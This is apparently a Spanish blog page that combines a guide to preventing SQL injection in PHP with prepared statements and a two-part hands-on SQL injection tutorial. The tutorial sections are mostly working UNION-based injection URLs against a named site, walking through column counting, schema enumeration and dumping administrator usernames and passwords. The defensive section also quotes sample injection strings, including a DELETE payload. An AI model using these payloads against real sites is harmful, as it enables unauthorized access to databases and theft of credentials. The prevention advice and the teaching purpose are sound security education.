Prevenir ataques SQLi en PHP

Prevenir ataques SQLi en PHP

“El objetivo del arte es representar no la apariencia externa de las cosas, sino su significado interior.”
Aristóteles

Usar prepared statements y parameterized. Esto son sentencias SQL preparadas que se envían a la base de datos de forma separada a cualquier parámetro. De esta forma es imposible para un atacante inyectar SQL malicioso. Es la forma más recomendable y segura de evitar este tipo de ataques. Se puede hacer de dos formas:

1. Con PDO:

$stmt = $pdo->prepare(‘SELECT * FROM usuarios WHERE nombre = :nombre’); $stmt->execute(array(‘nombre’ => $nombre)); foreach ($stmt as $row) { // Hacer algo con $row }

2. Con MySQLi:

$stmt = $dbConnection->prepare(‘SELECT * FROM usuarios WHERE nombre = ?’); $stmt->bind_param(‘s’, $nombre); $stmt->execute(); $result = $stmt->get_result(); while ($row = $result->fetch_assoc()){ // Hacer algo con $row }

Si se utiliza PostgreSQL existen opciones como _pgprepare() y _pgexecute() si se quiere hacer mediante esta segunda opción. PDO es una opción universal que vale para todas las bases de datos.

Cuando se usa una conexión PDO a MySQL los prepared statements de verdad puede que no se utilicen por defecto. Para usarlos siempre, hay que desactivar la emulación de prepared statements. La conexión se ha de hacer así:

$db = new PDO(‘mysql:dbname=test;host=localhost;charset=utf8’, ‘usuario’, ‘contraseña’); $db->setAttribute(PDO::ATTR_EMULATE_PREPARES, false); $db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

El error mode no es estrictamente necesario, pero es aconsejable ponerlo. De esta forma el script no parará con un Fatal Error cuando algo sale mal, y da la posibilidad al desarrollador de capturar (catch) cualquier error lanzado (throw) como PDOExceptcion.

Configurar ATTR_EMULATE_PREPARES a false puede ser importante ya que le dice a PDO que deshabilite los prepared statements emulados y sólo utilice los de verdad (por ejemplo en caso de que el driver no pueda preparar satisfactoriamente la sentencia).

De esta forma la sentencia y los valores no son analizados por PHP antes de ser enviados al servidor de bases de datos, sino que son analizados y compilados por éste, eliminando cualquier posibilidad de inyectar SQL malicioso. Los valores de los parámetros se combinan con una sentencia ya compilada, no son un string SQL. La inyección SQL funciona de forma que se inyecta el SQL malicioso en el string antes de ser enviado al servidor de bases de datos, por lo que enviando de forma separada la sentencia de los parámetros se reduce mucho el riesgo.

Otra forma es Escapar caracteres especiales. La función _mysqli_real_escapestring, o _mysqli::escapestring y _mysqli::real_escapestring en su versión OOP, coge el string que va a ser pasado a la sentencia y lo devuelve con los posibles ataques SQL injection eliminados. Ejemplo usando su versión OOP:

$mysqli = new mysqli(“localhost”, “usuario”, “contraseña”, “database”);

$usuario = “‘ OR 1′”;
$usuario = $mysqli->escape_string($usuario);

$query1 = “SELECT * FROM user WHERE name = ‘$usuario'”;
echo “SQL injection escapado: <br>” . $query1 . “<br>”;

$usuario2 = “‘; DELETE FROM customers WHERE 1 or username = ‘”;
$usuario2 = $mysqli-&gt;real_escape_string($usuario2);

$query2 = “SELECT * FROM user WHERE name = ‘$usuario2′”;
echo “SQL injection escapado: <br>” . $query2;

El resultado lo devuelve con las comillas simples ‘ escapadas.

Función addslashes(). Esta es una solución que ya no se utiliza pues es bastante vulnerable. Lo que hace la función addslashes() es escapar el string mediante barras. Los strings escapados son ‘, «, \ y el byte null. Si por ejemplo insertas una barra \ en medio de un carácter múltiple en concreto, la barra pierde su valor ya que es parte de ese carácter múltiple, pudiéndose insertar una comilla después. Aquí hay una explicación más detallada.

La mejor opción es usar prepared statements y parameterized queries. De todas formas siempre es mejor combinar este tipo de precauciones con otras como data validation, indicando expresamente el tipo de variable que se espera (integer, por ejemplo).

SQLI a mano Parte 2

SQLI a mano Parte 2

4- Buscando nuestra tabla

Ahora que ya podemos imprimir lo que queramos en esos campos, buscaremos la tabla que contiene el usuario y contraseña de los usuarios. Para recorrer las tablas de una base de datos se utilizaremos lo siguiente:

http://www.hack.mx/index1.php?id=-1+union+select+table_name,2,3,4,5,6+from+information_schema.tables+limit+1,1

Al ejecutar eso, nos mostrará el nombre de una tabla, pero no es la que queremos. Para recorrer las tablas en busca de la tabla que nos interesa, aumentaremos progresivamente el limit. Por ejemplo para ver la siguiente tabla:

http://www.hack.mx/index1.php?id=-1+union+select+table_name,2,3,4,5,6+from+information_schema.tables+limit+2,1

y la siguiente:

http://www.hack.mx/index1.php?id=-1+union+select+table_name,2,3,4,5,6+from+information_schema.tables+limit+3,1

Así continuamos hasta encontrar una que pueda contener lo que nosotros queremos, el usuario y contraseña del administrador. Traceamos hasta llegar al 17:

http://www.hack.mx/index1.php?id=-1+union+select+table_name,2,3,4,5,6+from+information_schema.tables+limit+17,1

Users, ésa parece ser la tabla donde se guarda esos datos ( podría haberse llamado también admin, access, o cualquier nombre sospechoso).

5- Buscando nuestras columnas

Ahora que ya tenemos la tabla, sólo nos queda saber que datos imprimir. Nosotros queremos el nombre de usuario y la contraseña, pero tenemos que saber como se llaman esas columnas para poderlas imprimir. Tracear columnas es similar a tracear tablas, se usa lo siguiente:

http://www.hack.mx/index1.php?id=-1+union+select+column_name,2,3,4,5,6+from+information_schema.columns+
where+table_name=char(NombreDeLaTablaEnAscii)+and+column_name+like+char(37,64,37)

En NombreDeLaTablaEnAscii irá el nombre de la tabla en código ascii separado por comas, aquí podemos ver las conversiones, luego subo un programa para hacer ésto de una forma más cómoda.

La inyección quedaría así:

http://www.hack.mx/index1.php?id=-1+union+select+column_name,2,3,4,5,6+from+
information_schema.columns+where+table_name=char(117,115,101,114,115)+and+column_name+like+char(37,64,37)

Oh, pero no se muestra nada! Tranquilo, ahora tenemos que ir traceando. Vamos aumentando el valor de 64 porgresivamente e iremos viendo diferentes nombres de columnas. Probemos con 65:

http://www.hack.mx/index1.php?id=-1+union+select+column_name,2,3,4,5,6+from+
information_schema.columns+where+table_name=char(117,115,101,114,115)+and+column_name+like+char(37,65,37)

Ah bien ya tenemos una de las columnas que buscabamos la que guarda el pass! Vale pues ahora a por la otra, la del usuario, seguimos traceando:

El 67 no nos muestra nada, el 68 nos muestra id que no nos interesa… 69 lo tenemos!

6- Imprimiendo los datos

Ya tenemos todo! Sabemos que tenemos que leer la columna Pass y la columna nombre de la tabla users, pues vamos a armar la inyección:

http://www.hack.mx/index1.php?id=-1+union+select+nombre,2,3,Pass,5,6+from+users

Bien ya está! Tenemos el nombre de usuario y contraseña del administrador! Bueno, pues aprovechamos que tenemos todo y sacamos la de otro user:

http://www.hack.mx/index1.php?id=-1+union+select+nombre,2,3,Pass,5,6+from+users+where+id=2

Ahí mandamos imprimir el nomre y pass de la tabla users donde el id es 2, el id del Admin suele ser 1, como es el primero se puede omitir y lo imprime igual.

Como sería para los demás users? Pues igual, solo cambiando el id.

Pues ésto fue todo por hoy, lo dejamos aquí de momento.

NOTA: el comando ‘ or 1=1 — se enseño y es para que entiendan como funciona un SQLI, pero no es lo recomendable ya que es un comando que sabiendo como funciona puede provocar un DOS al sistema ya que puede ser una BD de millones de datos.

Estas diferente, no soy yo, dices que tu tampoco, ¿Será el presente?
Introducción SQLI a mano Parte 1

Introducción SQLI a mano Parte 1

¿Que es una inyección SQL?

Pues muy fácil, una inyección SQL nos permite modificar el comportamiento de las consultas a la base de datos permitiendonos acceder a datos no públicos o modificar la base de datos a nuestro antojo.

Muchas veces se habla de que ésta és una técnica complicada, que es necesario aprender SQL. Ésto es falso, podemos inyectar código de una forma totalmente mecánica sin entender el porqué del fallo, lo que lo hace en una técnica peligrosa, aunque también hay técnicas de inyección SQL avanzadas.

Un poco de teoría

Aunque podríamos limitarnos aprender un proceso y utilizarlo mecanicamente sin entender nada, limitarnos a éso sería echar a perder una buena técnica, así que analizaremos el porque de los ataques de inyección SQL. Para ésta misión utilizaremos una base de datos de pruebas creada hoy: (Ustedes pueden estudiar con DVWA o Metasplotable)

http://www.hack.mx

1- Averiguando si es vulnerable

Empezaremos por el Ejercicio nº 1. En éste caso, la variable id está mal depurada, aquí el código vulnerable:

CÓDIGO
$user = $_GET[‘id’>;
(…)
$sql = mysql_query(“SELECT * FROM `users` WHERE id=”.$user) or die (mysql_error());

¿Como lo sabemos si no podemos ver el codigo fuente? Pues usaremos valores verdaderos y falso para ver como responde. Si ejecutamos:

CÓDIGO
http://www.hack.mx/index1.php?id=1+and+1=1

La consulta se realizara como:

CÓDIGO
SELECT * FROM `users` WHERE id=1 and 1=1

Y si ejecutamos:

http://www.hack.mx/index1.php?id=1+and+1=0

La consulta será:

CÓDIGO
SELECT * FROM `users` WHERE id=1 and 1=0

Como 1 no es igual a 0, en éste último caso la consulta no se realizará, por lo que no aparecen los datos de la base de datos en los campos de la web. Vale sabemos que es vulnerable, y ahora qué?

Tenemos que tener claro nuestro propósito, obtener información de la base de datos, en éste caso el nombre de usuario y contraseña del administrador. Como la podemos obtener? Pues lo que haremos será realizar una consulta en la variable vulnerable para que nos muestre los datos que queremos.

2- Averiguar el número de Columnas

Lo primero que tenemos que hacer es averiguar el número de columnas que tiene la tabla para poder hacer nosotros consultas, para eso se utiliza order by:

http://www.hack.mx/index1.php?id=1+order+by+1

Como la tabla tiene más de 1 campo, se mostrará correctamente, seguimos:

http://www.hack.mx/index1.php?id=1+order+by+2

Y así hasta llegar a 7, que se producirá un error:

http://www.hack.mx/index1.php?id=1+order+by+7

Pues ya lo tenemos, tiene 6 campos, que fué él valor más alto que se mostró correctamente.

3- Haciendo nuestra consulta

Ahora que ya tenemos el número de columnas, 6, podemos hacer nuestra consulta:

http://www.hack.mx/index1.php?id=-1+union+select+1,2,3,4,5,6

Union: Se usa para combinar los resultados de varias sentencias SELECT.

Select: Nos permite consultar los datos almacenados en una tabla de la base de datos.

Luego ponemos las 6 columnas numerados del 1 al 6, lo que nos permitirá ver que campos se imprimen, los cuales nos permitirán a nosotros imprimir resultados. Vemos que los campos que se imprimen son 1,4,5,6. Que podemos hacer con ellos? Pues imprimir información, un ejemplo:

http://www.hack.mx/index1.php?id=-1+union+select+version(),2,3,database(),user(),connection_id()

version(): Devuelve la versión del servidor SQL.
database(): Devuelve el nombre de la base de datos.
user(): Devuelve el nombre de usuario conectado a la base de datos.
connection_id(): Devuelve el ID de una conexión. Cada conexión tiene su propio y único ID.

El 2 y el 3 no nos valen para imprimir resultados ya que no se muestran en pantalla.